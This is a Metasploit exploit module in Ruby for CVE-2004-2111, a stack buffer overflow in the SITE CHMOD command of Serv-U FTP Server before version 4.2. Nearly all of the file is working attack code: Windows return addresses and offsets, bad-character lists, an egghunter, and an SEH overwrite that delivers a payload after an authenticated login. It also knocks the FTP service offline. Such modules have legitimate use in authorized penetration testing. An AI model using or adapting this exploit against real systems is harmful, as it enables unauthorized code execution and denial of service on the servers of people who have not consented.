Serv-U FTP Server Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Serv-U FTP Server Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the site chmod command
        in versions of Serv-U FTP Server prior to 4.2.

        You must have valid credentials to trigger this vulnerability. Exploitation
        also leaves the service in a non-functional state.
      },
      'Author'         => 'theLightCosine',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-2111'],
          [ 'OSVDB', '3713'],
          [ 'BID', '9483'],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'DisableNops' => true,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 SP0-4 EN', {
            'Ret'    => 0x750212bc, #WS2HELP.DLL
            'Offset' => 396 } ],
          [ 'Windows XP SP0-1 EN', {
            'Ret'    => 0x71aa388f, #WS2HELP.DLL
            'Offset' => 394 } ]
        ],
      'DisclosureDate' => '2004-12-31',
      'DefaultTarget'  => 0))
  end

  def check
    connect
    disconnect

    if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
      return Exploit::CheckCode::Appears
    end
      return Exploit::CheckCode::Safe
  end


  def exploit
    c = connect_login
    return if not c

    eggoptions =
    {
      :checksum => true,
      :eggtag => "W00T"
    }

    hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)


    buffer = "chmod 777 "
    buffer <<  make_nops(target['Offset'] - egg.length - hunter.length)
    buffer << egg
    buffer << hunter
    buffer << "\xeb\xc9\x41\x41"	#nseh, jump back to egghunter
    buffer << [target.ret].pack('V')	#seh
    buffer << rand_text(5000)

    print_status("Trying target #{target.name}...")

    send_cmd( ['SITE', buffer] , false)

    handler
    disconnect
  end
end